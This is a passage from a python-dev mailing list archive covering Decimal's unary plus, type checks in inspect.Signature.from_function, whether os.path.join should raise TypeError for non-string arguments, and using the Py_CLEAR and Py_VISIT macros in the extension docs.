Message-ID: <511539B8.7010701@simplistix.co.uk>

On 08/02/2013 16:17, Oscar Benjamin wrote:
> Decimal.__pos__ uses it to return a Decimal instance that has the
> default precision of the current Decimal context:
>
>>>> from decimal import Decimal
>>>> d = Decimal('0.33333333333333333333333333333333333333')
>>>> d
> Decimal('0.33333333333333333333333333333333333333')
>>>> +d
> Decimal('0.3333333333333333333333333333')

That's the answer I was hoping wouldn't be coming...

Oh well, guess I'll have to improve on my sloppy typing.

Chris

-- 
Simplistix - Content Management, Batch Processing & Python Consulting
             - http://www.simplistix.co.uk

From catch-all at masklinn.net  Fri Feb  8 21:36:35 2013
From: catch-all at masklinn.net (Xavier Morel)
Date: Fri, 8 Feb 2013 21:36:35 +0100
Subject: [Python-Dev] why do we allow this syntax?
In-Reply-To: <511539B8.7010701@simplistix.co.uk>
References: <51151C28.3020101@simplistix.co.uk>
	<CAPZV6o_6=W27rzpnnAgJ=g+jC9ZWSuxUubD0js1YUbyUMpGaQg@mail.gmail.com>
	<51152262.3080105@simplistix.co.uk>
	<CAPZV6o_EVWsVmeaOfzGPja=DW9Xy+xBsh9Sy10QV+A6NThZfAA@mail.gmail.com>
	<CAHVvXxQR=j4gSmOkioN4M1GqVuxLdqx+tZ7sBafGa-G1T6Hf4w@mail.gmail.com>
	<511539B8.7010701@simplistix.co.uk>
Message-ID: <55EBC98F-E03E-4EF8-A2B7-18FE6B58BBF9@masklinn.net>

On 2013-02-08, at 18:45 , Chris Withers wrote:

> On 08/02/2013 16:17, Oscar Benjamin wrote:
>> Decimal.__pos__ uses it to return a Decimal instance that has the
>> default precision of the current Decimal context:
>> 
>>>>> from decimal import Decimal
>>>>> d = Decimal('0.33333333333333333333333333333333333333')
>>>>> d
>> Decimal('0.33333333333333333333333333333333333333')
>>>>> +d
>> Decimal('0.3333333333333333333333333333')
> 
> That's the answer I was hoping wouldn't be coming...
> 
> Oh well, guess I'll have to improve on my sloppy typing.

Or just run flake8 (with a bit of configuration to disable the annoying stuff).

From stefan_ml at behnel.de  Fri Feb  8 22:14:28 2013
From: stefan_ml at behnel.de (Stefan Behnel)
Date: Fri, 08 Feb 2013 22:14:28 +0100
Subject: [Python-Dev] Why does Signature.from_function() have to check
 the type of its argument?
In-Reply-To: <CALeMXf40raYvkX4UJf37p1Cmxy_n1aV_KJfh44VKDhXJD0F0Aw@mail.gmail.com>
References: <kf30u0$r4m$1@ger.gmane.org>
	<CAPZV6o_-CWM5RyabZN3fAVGJJPxSu+AACDGw=TQMdVmq4dYRjw@mail.gmail.com>
	<CADiSq7cpQZDZygyuqP655tdAL8QtL4yrZAaERT0pr0wS4vTG4w@mail.gmail.com>
	<kf373o$skt$2@ger.gmane.org>
	<CALeMXf40raYvkX4UJf37p1Cmxy_n1aV_KJfh44VKDhXJD0F0Aw@mail.gmail.com>
Message-ID: <kf3prh$1ag$1@ger.gmane.org>

PJ Eby, 08.02.2013 19:46:
> On Fri, Feb 8, 2013 at 10:54 AM, Stefan Behnel wrote:
>> Nick Coghlan, 08.02.2013 16:20:
>>> On Sat, Feb 9, 2013 at 1:06 AM, Benjamin Peterson wrote:
>>>> 2013/2/8 Stefan Behnel:
>>>>> I'm wondering about the purpose of this code in
>>>>> inspect.Signature.from_function():
>>>>>
>>>>> """
>>>>>     if not isinstance(func, types.FunctionType):
>>>>>         raise TypeError('{!r} is not a Python function'.format(func))
>>>>> """
>>>>>
>>>>> Is there any reason why this method would have to explicitly check the type
>>>>> of its argument? Why can't it just accept any object that quacks like a
>>>>> function?
>>>>
>>>> The signature() function checks for types.FunctionType in order to
>>>> call Signature.from_function(). How would you reimplement that?
>>
>> It should call isfunction() instead of running an explicit type check.
> 
> Isn't it possible now for an object to implement __instancecheck__ and
> claim to be an instance of FunctionType, anyway?  (For that matter,
> shouldn't there be some ABCs for this?)

Wow, good call. Providing an __instancecheck__() method that simply says
yes when it's asked for PyFunction_Type really works. Thanks!

Stefan



From graffatcolmingov at gmail.com  Fri Feb  8 22:35:59 2013
From: graffatcolmingov at gmail.com (Ian Cordasco)
Date: Fri, 8 Feb 2013 16:35:59 -0500
Subject: [Python-Dev] why do we allow this syntax?
In-Reply-To: <55EBC98F-E03E-4EF8-A2B7-18FE6B58BBF9@masklinn.net>
References: <51151C28.3020101@simplistix.co.uk>
	<CAPZV6o_6=W27rzpnnAgJ=g+jC9ZWSuxUubD0js1YUbyUMpGaQg@mail.gmail.com>
	<51152262.3080105@simplistix.co.uk>
	<CAPZV6o_EVWsVmeaOfzGPja=DW9Xy+xBsh9Sy10QV+A6NThZfAA@mail.gmail.com>
	<CAHVvXxQR=j4gSmOkioN4M1GqVuxLdqx+tZ7sBafGa-G1T6Hf4w@mail.gmail.com>
	<511539B8.7010701@simplistix.co.uk>
	<55EBC98F-E03E-4EF8-A2B7-18FE6B58BBF9@masklinn.net>
Message-ID: <CAN-Kwu3Qko41Qh8G9ct=Epm2d-WcfJmyVSUvSH1FSUG_1Ze70Q@mail.gmail.com>

On Feb 8, 2013 3:37 PM, "Xavier Morel" <catch-all at masklinn.net> wrote:
>
> On 2013-02-08, at 18:45 , Chris Withers wrote:
>
> > On 08/02/2013 16:17, Oscar Benjamin wrote:
> >> Decimal.__pos__ uses it to return a Decimal instance that has the
> >> default precision of the current Decimal context:
> >>
> >>>>> from decimal import Decimal
> >>>>> d = Decimal('0.33333333333333333333333333333333333333')
> >>>>> d
> >> Decimal('0.33333333333333333333333333333333333333')
> >>>>> +d
> >> Decimal('0.3333333333333333333333333333')
> >
> > That's the answer I was hoping wouldn't be coming...
> >
> > Oh well, guess I'll have to improve on my sloppy typing.
>
> Or just run flake8 (with a bit of configuration to disable the annoying
stuff).

As flake8's maintainer, I second this.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130208/57dc00ba/attachment.html>

From stefan_ml at behnel.de  Fri Feb  8 23:44:11 2013
From: stefan_ml at behnel.de (Stefan Behnel)
Date: Fri, 08 Feb 2013 23:44:11 +0100
Subject: [Python-Dev] Why does Signature.from_function() have to check
 the type of its argument?
In-Reply-To: <kf3prh$1ag$1@ger.gmane.org>
References: <kf30u0$r4m$1@ger.gmane.org>
	<CAPZV6o_-CWM5RyabZN3fAVGJJPxSu+AACDGw=TQMdVmq4dYRjw@mail.gmail.com>
	<CADiSq7cpQZDZygyuqP655tdAL8QtL4yrZAaERT0pr0wS4vTG4w@mail.gmail.com>
	<kf373o$skt$2@ger.gmane.org>
	<CALeMXf40raYvkX4UJf37p1Cmxy_n1aV_KJfh44VKDhXJD0F0Aw@mail.gmail.com>
	<kf3prh$1ag$1@ger.gmane.org>
Message-ID: <kf3v3o$hsl$1@ger.gmane.org>

Stefan Behnel, 08.02.2013 22:14:
> PJ Eby, 08.02.2013 19:46:
>> On Fri, Feb 8, 2013 at 10:54 AM, Stefan Behnel wrote:
>>> Nick Coghlan, 08.02.2013 16:20:
>>>> On Sat, Feb 9, 2013 at 1:06 AM, Benjamin Peterson wrote:
>>>>> 2013/2/8 Stefan Behnel:
>>>>>> I'm wondering about the purpose of this code in
>>>>>> inspect.Signature.from_function():
>>>>>>
>>>>>> """
>>>>>>     if not isinstance(func, types.FunctionType):
>>>>>>         raise TypeError('{!r} is not a Python function'.format(func))
>>>>>> """
>>>>>>
>>>>>> Is there any reason why this method would have to explicitly check the type
>>>>>> of its argument? Why can't it just accept any object that quacks like a
>>>>>> function?
>>>>>
>>>>> The signature() function checks for types.FunctionType in order to
>>>>> call Signature.from_function(). How would you reimplement that?
>>>
>>> It should call isfunction() instead of running an explicit type check.
>>
>> Isn't it possible now for an object to implement __instancecheck__ and
>> claim to be an instance of FunctionType, anyway?  (For that matter,
>> shouldn't there be some ABCs for this?)
> 
> Wow, good call. Providing an __instancecheck__() method that simply says
> yes when it's asked for PyFunction_Type really works.

Argh - sorry, got it all wrong. "__instancecheck__()" works exactly the
other way round. In the type check above, it's the FunctionType type that
gets asked for an instance check, which doesn't help at all in this case
because it simply doesn't know about the desired subtype relation. It would
work if type(func).__instancecheck__() was used, but that doesn't happen.

So, no help from that side, sadly.

Stefan



From tom at scrace.org  Sat Feb  9 10:59:13 2013
From: tom at scrace.org (Thomas Scrace)
Date: Sat, 9 Feb 2013 09:59:13 +0000
Subject: [Python-Dev] os.path.join failure mode
Message-ID: <CADL3S_c9wve-_cCYy-UD5RcpsU-hHPZWP26+z_7S_MmyAAqZYg@mail.gmail.com>

If a function (or other non-string object) is accidentally passed as an
argument to os.path.join() the result is an AttributeError:


In [3]: os.path.join(fn, "path")
> ---------------------------------------------------------------------------
> AttributeError                            Traceback (most recent call last)
> /home/tom/<ipython-input-3-44b097ceab04> in <module>()
> ----> 1 os.path.join(fn, "path")
> /usr/lib/python2.7/posixpath.pyc in join(a, *p)
>      66         if b.startswith('/'):
>      67             path = b
> ---> 68         elif path == '' or path.endswith('/'):
>      69             path +=  b
>      70         else:
> AttributeError: 'function' object has no attribute 'endswith'



It's relatively easy to run into this if you mean to pass the return value
of a function (fn()) as the argument but accidentally forget to append
parens (()) to the callable, thus passing the function itself instead.

Would it not be more helpful to raise a TypeError("Argument must be a
string") than the slightly more mysterious AttributeError?

It's not the most difficult error in the world to figure out, I admit, but
a TypeError just seems like the more correct thing to do here.

Thanks,
Tom
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130209/9060c413/attachment.html>

From rdmurray at bitdance.com  Sat Feb  9 14:31:00 2013
From: rdmurray at bitdance.com (R. David Murray)
Date: Sat, 09 Feb 2013 08:31:00 -0500
Subject: [Python-Dev] os.path.join failure mode
In-Reply-To: <CADL3S_c9wve-_cCYy-UD5RcpsU-hHPZWP26+z_7S_MmyAAqZYg@mail.gmail.com>
References: <CADL3S_c9wve-_cCYy-UD5RcpsU-hHPZWP26+z_7S_MmyAAqZYg@mail.gmail.com>
Message-ID: <20130209133100.D8D64250BC8@webabinitio.net>

On Sat, 09 Feb 2013 09:59:13 +0000, Thomas Scrace <tom at scrace.org> wrote:
> If a function (or other non-string object) is accidentally passed as an
> argument to os.path.join() the result is an AttributeError:
> 
> 
> In [3]: os.path.join(fn, "path")
> > ---------------------------------------------------------------------------
> > AttributeError                            Traceback (most recent call last)
> > /home/tom/<ipython-input-3-44b097ceab04> in <module>()
> > ----> 1 os.path.join(fn, "path")
> > /usr/lib/python2.7/posixpath.pyc in join(a, *p)
> >      66         if b.startswith('/'):
> >      67             path = b
> > ---> 68         elif path == '' or path.endswith('/'):
> >      69             path +=  b
> >      70         else:
> > AttributeError: 'function' object has no attribute 'endswith'
> 
> 
> 
> It's relatively easy to run into this if you mean to pass the return value
> of a function (fn()) as the argument but accidentally forget to append
> parens (()) to the callable, thus passing the function itself instead.
> 
> Would it not be more helpful to raise a TypeError("Argument must be a
> string") than the slightly more mysterious AttributeError?
> 
> It's not the most difficult error in the world to figure out, I admit, but
> a TypeError just seems like the more correct thing to do here.

We don't generally do that kind of type checking in Python.  Sometimes the
error that results is obscure enough that adding an early check of some
sort is worth it, but this one is very clear, so I don't see that an
additional check would add much value here.

The reason we avoid such type checks is that we prefer to operate via
"duck typing", which means that if an object behaves like the expected
input, it is accepted.  Here, if we did an explicit type check for str,
it would prevent join from working on an "act alike" object that had
just enough str like methods to work correctly in os.join (for example,
some specialized object that was among other things a filename proxy).
Granted, this is pretty far-fetched for os.path.join, but the general
principle applies :)

--David

From andrew.svetlov at gmail.com  Sat Feb  9 14:52:20 2013
From: andrew.svetlov at gmail.com (Andrew Svetlov)
Date: Sat, 9 Feb 2013 15:52:20 +0200
Subject: [Python-Dev] Force to use Py_CLEAR and Py_VISIT in example for
	Python extending
Message-ID: <CAL3CFcVAVGPa_ZdYfn_2GJtADXSSeqHS9YLUg+60qzHgWgJxNA@mail.gmail.com>

For now http://docs.python.org/3/extending/newtypes.html#supporting-cyclic-garbage-collection
at first the doc demonstrate long way than note Py_CLEAR and Py_VISIT macroses.

I like to remove code similar to

    if (self->first) {
        vret = visit(self->first, arg);
        if (vret != 0)
            return vret;
    }

and

    tmp = self->first;
    self->first = NULL;
    Py_XDECREF(tmp);

and replace those to Py_VISIT and Py_CLEAN.

I think we have to demonstrate best practices in our examples.
Let's py2.7 branch live untouched, change only docs for python 3.x

Any objections?


--
Thanks,
Andrew Svetlov

From ncoghlan at gmail.com  Sat Feb  9 14:53:55 2013
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Sat, 9 Feb 2013 23:53:55 +1000
Subject: [Python-Dev] os.path.join failure mode
In-Reply-To: <20130209133100.D8D64250BC8@webabinitio.net>
References: <CADL3S_c9wve-_cCYy-UD5RcpsU-hHPZWP26+z_7S_MmyAAqZYg@mail.gmail.com>
	<20130209133100.D8D64250BC8@webabinitio.net>
Message-ID: <CADiSq7ePV9jV-uCyqyYKtgF73nnf-wL2LRMz7xB4Th2o0rDr9g@mail.gmail.com>

On Sat, Feb 9, 2013 at 11:31 PM, R. David Murray <rdmurray at bitdance.com> wrote:
> The reason we avoid such type checks is that we prefer to operate via
> "duck typing", which means that if an object behaves like the expected
> input, it is accepted.  Here, if we did an explicit type check for str,
> it would prevent join from working on an "act alike" object that had
> just enough str like methods to work correctly in os.join (for example,
> some specialized object that was among other things a filename proxy).
> Granted, this is pretty far-fetched for os.path.join, but the general
> principle applies :)

I occasionally ponder the possibility of a time where we have a
string.Text ABC, and can stop hardcoding checks for isinstance(str)
everywhere :P

(No, I'm not volunteering to write it. And if anyone does want to
discuss it further, please start a new thread on python-ideas, as
python-dev isn't the right venue)

Cheers,
Nick.

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia

From benjamin at python.org  Sat Feb  9 14:54:20 2013
From: benjamin at python.org (Benjamin Peterson)
Date: Sat, 9 Feb 2013 08:54:20 -0500
Subject: [Python-Dev] Force to use Py_CLEAR and Py_VISIT in example for
 Python extending
In-Reply-To: <CAL3CFcVAVGPa_ZdYfn_2GJtADXSSeqHS9YLUg+60qzHgWgJxNA@mail.gmail.com>
References: <CAL3CFcVAVGPa_ZdYfn_2GJtADXSSeqHS9YLUg+60qzHgWgJxNA@mail.gmail.com>
Message-ID: <CAPZV6o9jeBUrSM1xeAU7edKfnmD_LG3RNZYf453OCZ1HS-MRxg@mail.gmail.com>

2013/2/9 Andrew Svetlov <andrew.svetlov at gmail.com>:
> For now http://docs.python.org/3/extending/newtypes.html#supporting-cyclic-garbage-collection
> at first the doc demonstrate long way than note Py_CLEAR and Py_VISIT macroses.
>
> I like to remove code similar to
>
>     if (self->first) {
>         vret = visit(self->first, arg);
>         if (vret != 0)
>             return vret;
>     }
>
> and
>
>     tmp = self->first;
>     self->first = NULL;
>     Py_XDECREF(tmp);
>
> and replace those to Py_VISIT and Py_CLEAN.
>
> I think we have to demonstrate best practices in our examples.
> Let's py2.7 branch live untouched, change only docs for python 3.x
>
> Any objections?

IMO, it's fine if you change 2.7, too.



-- 
Regards,
Benjamin

From ncoghlan at gmail.com  Sat Feb  9 15:01:55 2013
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Sun, 10 Feb 2013 00:01:55 +1000
Subject: [Python-Dev] Force to use Py_CLEAR and Py_VISIT in example for
 Python extending
In-Reply-To: <CAL3CFcVAVGPa_ZdYfn_2GJtADXSSeqHS9YLUg+60qzHgWgJxNA@mail.gmail.com>
References: <CAL3CFcVAVGPa_ZdYfn_2GJtADXSSeqHS9YLUg+60qzHgWgJxNA@mail.gmail.com>
Message-ID: <CADiSq7eW-zi9zs9hMmfHPytH4KHJyjPOFp8jQR59cgvq6Fzyfg@mail.gmail.com>

On Sat, Feb 9, 2013 at 11:52 PM, Andrew Svetlov
<andrew.svetlov at gmail.com> wrote:
> I think we have to demonstrate best practices in our examples.
> Let's py2.7 branch live untouched, change only docs for python 3.x
>
> Any objections?

For debugging purposes, I think extension developers do need to
understand what those macros are doing under the covers. However, the
order of presentation should definitely be reversed to "here is how
you should write it", followed by an explanation of what that actually
means with the macros expanded.

For Py_CLEAR, it would be OK to just link to the macro's entry in the
C API docs, but for Py_VISIT, I think it's worth expanding out the
full example.

Cheers,
Nick.

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia

From tom at scrace.org  Sat Feb  9 15:35:33 2013
From: tom at scrace.org (Thomas Scrace)
Date: Sat, 9 Feb 2013 14:35:33 +0000 (UTC)
Subject: [Python-Dev] os.path.join failure mode
References: <CADL3S_c9wve-_cCYy-UD5RcpsU-hHPZWP26+z_7S_MmyAAqZYg@mail.gmail.com>
	<20130209133100.D8D64250BC8@webabinitio.net>
Message-ID: <loom.20130209T152510-759@post.gmane.org>

R. David Murray <rdmurray <at> bitdance.com> writes:

> The reason we avoid such type checks is that we prefer to operate via
> "duck typing", which means that if an object behaves like the expected
> input, it is accepted.  Here, if we did an explicit type check for str,
> it would prevent join from working on an "act alike" object that had
> just enough str like methods to work correctly in os.join (for example,
> some specialized object that was among other things a filename proxy).


I see, that makes sense. Thanks. I guess this actually goes to the heart of the 
flexibility of dynamic/weakly-typed languages. If we wanted to strictly enforce 
the type of a function's arguments we would use a strong type system.




From rdmurray at bitdance.com  Sat Feb  9 18:15:28 2013
From: rdmurray at bitdance.com (R. David Murray)
Date: Sat, 09 Feb 2013 12:15:28 -0500
Subject: [Python-Dev] os.path.join failure mode
In-Reply-To: <loom.20130209T152510-759@post.gmane.org>
References: <CADL3S_c9wve-_cCYy-UD5RcpsU-hHPZWP26+z_7S_MmyAAqZYg@mail.gmail.com>
	<20130209133100.D8D64250BC8@webabinitio.net>
	<loom.20130209T152510-759@post.gmane.org>
Message-ID: <20130209171528.BCC11250030@webabinitio.net>

On Sat, 09 Feb 2013 14:35:33 +0000, Thomas Scrace <tom at scrace.org> wrote:
> R. David Murray <rdmurray <at> bitdance.com> writes:
> 
> > The reason we avoid such type checks is that we prefer to operate via
> > "duck typing", which means that if an object behaves like the expected
> > input, it is accepted.  Here, if we did an explicit type check for str,
> > it would prevent join from working on an "act alike" object that had
> > just enough str like methods to work correctly in os.join (for example,
> > some specialized object that was among other things a filename proxy).
> 
> I see, that makes sense. Thanks. I guess this actually goes to the heart of the 
> flexibility of dynamic/weakly-typed languages. If we wanted to strictly enforce 
> the type of a function's arguments we would use a strong type system.

No, it is more the difference between *statically* typed and dynamically
typed.  Python is a strongly typed language (every object has a specific
type).

--David

From tom at scrace.org  Sat Feb  9 18:57:14 2013
From: tom at scrace.org (Thomas Scrace)
Date: Sat, 9 Feb 2013 17:57:14 +0000
Subject: [Python-Dev] os.path.join failure mode
In-Reply-To: <20130209171528.BCC11250030@webabinitio.net>
References: <CADL3S_c9wve-_cCYy-UD5RcpsU-hHPZWP26+z_7S_MmyAAqZYg@mail.gmail.com>
	<20130209133100.D8D64250BC8@webabinitio.net>
	<loom.20130209T152510-759@post.gmane.org>
	<20130209171528.BCC11250030@webabinitio.net>
Message-ID: <CADL3S_djGU680pZeQANaA90KmsqC1kv9=TP362HENFu8aSAZVA@mail.gmail.com>

On 9 February 2013 17:15, R. David Murray <rdmurray at bitdance.com> wrote:


>
> No, it is more the difference between *statically* typed and dynamically
> typed.  Python is a strongly typed language (every object has a specific
> type).
>
>
>
Yes, sorry, I think I probably have my terminology confused. What I really
meant by 'strongly typed' was something like "a language where values
passed to functions must be of a specified type". That is to say, something
more along the lines of C, where function definitions explicitly specify
the type of each argument, and where it is an error to pass to a function
an argument whose type does not match that in the definition.

Sorry to turn this into programming design 101, I know it's not really the
place for it.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130209/34e517de/attachment.html>

From tjreedy at udel.edu  Sat Feb  9 19:57:41 2013
From: tjreedy at udel.edu (Terry Reedy)
Date: Sat, 09 Feb 2013 13:57:41 -0500
Subject: [Python-Dev] os.path.join failure mode
In-Reply-To: <20130209133100.D8D64250BC8@webabinitio.net>
References: <CADL3S_c9wve-_cCYy-UD5RcpsU-hHPZWP26+z_7S_MmyAAqZYg@mail.gmail.com>
	<20130209133100.D8D64250BC8@webabinitio.net>
Message-ID: <kf667s$hs2$1@ger.gmane.org>

On 2/9/2013 8:31 AM, R. David Murray wrote:
> On Sat, 09 Feb 2013 09:59:13 +0000, Thomas Scrace <tom at scrace.org> wrote:
>> If a function (or other non-string object) is accidentally passed as an
>> argument to os.path.join() the result is an AttributeError:
>>
>>
>> In [3]: os.path.join(fn, "path")
>>> ---------------------------------------------------------------------------
>>> AttributeError                            Traceback (most recent call last)
>>> /home/tom/<ipython-input-3-44b097ceab04> in <module>()
>>> ----> 1 os.path.join(fn, "path")
>>> /usr/lib/python2.7/posixpath.pyc in join(a, *p)
>>>       66         if b.startswith('/'):
>>>       67             path = b
>>> ---> 68         elif path == '' or path.endswith('/'):
>>>       69             path +=  b
>>>       70         else:
>>> AttributeError: 'function' object has no attribute 'endswith'
>>
>> It's relatively easy to run into this if you mean to pass the return value
>> of a function (fn()) as the argument but accidentally forget to append
>> parens (()) to the callable, thus passing the function itself instead.
>>
>> Would it not be more helpful to raise a TypeError("Argument must be a
>> string") than the slightly more mysterious AttributeError?
>>
>> It's not the most difficult error in the world to figure out, I admit, but
>> a TypeError just seems like the more correct thing to do here.

I agree. Since the exception type is not documented and since no one 
should intentionally pass anything but strings, and therefore should not 
be writing

try:
   os.path.join(a,b)
except AttributeError:
   barf()

I think it would be acceptable to make a change in 3.4.

> We don't generally do that kind of type checking in Python.  Sometimes the
> error that results is obscure enough that adding an early check of some
> sort is worth it, but this one is very clear, so I don't see that an
> additional check would add much value here.

Changing AttributeError to TypeError only requires try-except, which is 
cheap if there is no error, not an early type check.

> The reason we avoid such type checks is that we prefer to operate via
> "duck typing", which means that if an object behaves like the expected
> input, it is accepted.

And catching the existing AttributeError allows work-alikes. I agree 
that an isinstance check is bad as well as unnecessary.

As it is, the core code for path, given above, is *already* wrapped in 
try: except TypeError, (to give a more friendly error message!, as 
TypeError is most like from a unicode-bytes mixing). So there would be 
no extra cost for correct calls and all that is needed is another except 
clause.

     except AttributeError as e:
         bad = e.args[0].split()[0]
         msg = "all components must be strings; one is a {}".format(bad)
         raise TypeError("all components must be strings")

Thomas, unless David or someone else shoots down this idea here, I say 
go ahead and open an enhancement issue and add terry.reedy as nosy.

-- 
Terry Jan Reedy


From rdmurray at bitdance.com  Sat Feb  9 21:08:45 2013
From: rdmurray at bitdance.com (R. David Murray)
Date: Sat, 09 Feb 2013 15:08:45 -0500
Subject: [Python-Dev] os.path.join failure mode
In-Reply-To: <kf667s$hs2$1@ger.gmane.org>
References: <CADL3S_c9wve-_cCYy-UD5RcpsU-hHPZWP26+z_7S_MmyAAqZYg@mail.gmail.com>
	<20130209133100.D8D64250BC8@webabinitio.net>
	<kf667s$hs2$1@ger.gmane.org>
Message-ID: <20130209200845.87BB125003E@webabinitio.net>

On Sat, 09 Feb 2013 13:57:41 -0500, Terry Reedy <tjreedy at udel.edu> wrote:
> On 2/9/2013 8:31 AM, R. David Murray wrote:
> Changing AttributeError to TypeError only requires try-except, which is 
> cheap if there is no error, not an early type check.
> 
> > The reason we avoid such type checks is that we prefer to operate via
> > "duck typing", which means that if an object behaves like the expected
> > input, it is accepted.
> 
> And catching the existing AttributeError allows work-alikes. I agree 
> that an isinstance check is bad as well as unnecessary.
> 
> As it is, the core code for path, given above, is *already* wrapped in 
> try: except TypeError, (to give a more friendly error message!, as 
> TypeError is most like from a unicode-bytes mixing). So there would be 
> no extra cost for correct calls and all that is needed is another except 
> clause.
> 
>      except AttributeError as e:
>          bad = e.args[0].split()[0]
>          msg = "all components must be strings; one is a {}".format(bad)
>          raise TypeError("all components must be strings")
> 
> Thomas, unless David or someone else shoots down this idea here, I say 
> go ahead and open an enhancement issue and add terry.reedy as nosy.

Especially given that there is already a try/except there, this seems
fine to me.  I think perhaps the error text would be better if it
referred only to the type that is invalid, not to str.  So something
like:

    TypeError("object of type {} is not valid as a path
        "component".format(type(bad)))

--David

From tom at scrace.org  Sat Feb  9 22:18:15 2013
From: tom at scrace.org (Thomas Scrace)
Date: Sat, 9 Feb 2013 21:18:15 +0000
Subject: [Python-Dev] os.path.join failure mode
In-Reply-To: <20130209200845.87BB125003E@webabinitio.net>
References: <CADL3S_c9wve-_cCYy-UD5RcpsU-hHPZWP26+z_7S_MmyAAqZYg@mail.gmail.com>
	<20130209133100.D8D64250BC8@webabinitio.net>
	<kf667s$hs2$1@ger.gmane.org>
	<20130209200845.87BB125003E@webabinitio.net>
Message-ID: <CADL3S_eRsd3t9BB2AD2Byaazr1nuy7ZtX2tgVJx8Tsj4XZrk+Q@mail.gmail.com>

On 9 February 2013 20:08, R. David Murray <rdmurray at bitdance.com> wrote:
>
>
> Especially given that there is already a try/except there, this seems
> fine to me.  I think perhaps the error text would be better if it
> referred only to the type that is invalid, not to str.  So something
> like:
>
>     TypeError("object of type {} is not valid as a path
>         "component".format(type(bad)))
>
> --David

I agree that this is a better error message. I have raised an
enhancement issue as Terry suggested:

http://bugs.python.org/issue17174

From greg.ewing at canterbury.ac.nz  Sun Feb 10 00:23:17 2013
From: greg.ewing at canterbury.ac.nz (Greg Ewing)
Date: Sun, 10 Feb 2013 12:23:17 +1300
Subject: [Python-Dev] os.path.join failure mode
In-Reply-To: <kf667s$hs2$1@ger.gmane.org>
References: <CADL3S_c9wve-_cCYy-UD5RcpsU-hHPZWP26+z_7S_MmyAAqZYg@mail.gmail.com>
	<20130209133100.D8D64250BC8@webabinitio.net>
	<kf667s$hs2$1@ger.gmane.org>
Message-ID: <5116DA65.6090302@canterbury.ac.nz>

Terry Reedy wrote:
> I agree. Since the exception type is not documented and since no one 
> should intentionally pass anything but strings, and therefore should not 
> be writing
> 
> try:
>   os.path.join(a,b)
> except AttributeError:
>   barf()
> 
> I think it would be acceptable to make a change in 3.4.

Why should we go out of our way to address this particular
case, and not any of the infinitely many other situations
where you could forget to add parens to a function call?

-- 
Greg

From eric at trueblade.com  Sun Feb 10 00:45:51 2013
From: eric at trueblade.com (Eric V. Smith)
Date: Sat, 09 Feb 2013 18:45:51 -0500
Subject: [Python-Dev] os.path.join failure mode
In-Reply-To: <5116DA65.6090302@canterbury.ac.nz>
References: <CADL3S_c9wve-_cCYy-UD5RcpsU-hHPZWP26+z_7S_MmyAAqZYg@mail.gmail.com>
	<20130209133100.D8D64250BC8@webabinitio.net>
	<kf667s$hs2$1@ger.gmane.org> <5116DA65.6090302@canterbury.ac.nz>
Message-ID: <5116DFAF.90802@trueblade.com>

On 2/9/2013 6:23 PM, Greg Ewing wrote:
> Terry Reedy wrote:
>> I agree. Since the exception type is not documented and since no one
>> should intentionally pass anything but strings, and therefore should
>> not be writing
>>
>> try:
>>   os.path.join(a,b)
>> except AttributeError:
>>   barf()
>>
>> I think it would be acceptable to make a change in 3.4.
> 
> Why should we go out of our way to address this particular
> case, and not any of the infinitely many other situations
> where you could forget to add parens to a function call?
> 

I agree we do not want to go down this slippery slope. The number of
such places in the standard library is huge. The existing error message
is one that a user should be able to understand, since it's so common.

-- 
Eric.

From senthil at uthcode.com  Sun Feb 10 08:39:01 2013
From: senthil at uthcode.com (Senthil Kumaran)
Date: Sat, 9 Feb 2013 23:39:01 -0800
Subject: [Python-Dev] os.path.join failure mode
In-Reply-To: <5116DFAF.90802@trueblade.com>
References: <CADL3S_c9wve-_cCYy-UD5RcpsU-hHPZWP26+z_7S_MmyAAqZYg@mail.gmail.com>
	<20130209133100.D8D64250BC8@webabinitio.net>
	<kf667s$hs2$1@ger.gmane.org> <5116DA65.6090302@canterbury.ac.nz>
	<5116DFAF.90802@trueblade.com>
Message-ID: <CAPOVWOQZXXZ2=dd=YAcVNbZqaLS3rxAtjqJvz85tst593sYd-g@mail.gmail.com>

And this is not just with Python. Try any other dynamic language
(Ruby), send a function in place of a string and see failure msg.  And
if the question is really about path joins and path manipulations,
then I believe PEP 428 ( http://www.python.org/dev/peps/pep-0428/)
would be better candidate to address these scenarios.

On Sat, Feb 9, 2013 at 3:45 PM, Eric V. Smith <eric at trueblade.com> wrote:
> On 2/9/2013 6:23 PM, Greg Ewing wrote:
>> Terry Reedy wrote:
>>> I agree. Since the exception type is not documented and since no one
>>> should intentionally pass anything but strings, and therefore should
>>> not be writing
>>>
>>> try:
>>>   os.path.join(a,b)
>>> except AttributeError:
>>>   barf()
>>>
>>> I think it would be acceptable to make a change in 3.4.
>>
>> Why should we go out of our way to address this particular
>> case, and not any of the infinitely many other situations
>> where you could forget to add parens to a function call?
>>
>
> I agree we do not want to go down this slippery slope. The number of
> such places in the standard library is huge. The existing error message
> is one that a user should be able to understand, since it's so common.
>
> --
> Eric.
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe: http://mail.python.org/mailman/options/python-dev/senthil%40uthcode.com

From chris at simplistix.co.uk  Sun Feb 10 11:36:15 2013
From: chris at simplistix.co.uk (Chris Withers)
Date: Sun, 10 Feb 2013 10:36:15 +0000
Subject: [Python-Dev] checking what atexit handlers are registered in Python
	3
Message-ID: <5117781F.2080401@simplistix.co.uk>

Hi All,

I'm finally getting around to porting some of the packages I maintain 
over to Python 3.

One rough edge I've hit: I see the atexit module has moved to be C-based 
and, as far as I can tell, no longer allows you to introspect what 
atexit functions have been registered.

If I'm writing tests for code that registers atexit handlers, how can I 
check that they've been correctly registered?

cheers,

Chris

-- 
Simplistix - Content Management, Batch Processing & Python Consulting
            - http://www.simplistix.co.uk

From ncoghlan at gmail.com  Sun Feb 10 13:32:50 2013
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Sun, 10 Feb 2013 22:32:50 +1000
Subject: [Python-Dev] Submitting PEP 422 (Simple class initialization hook)
	for pronouncement
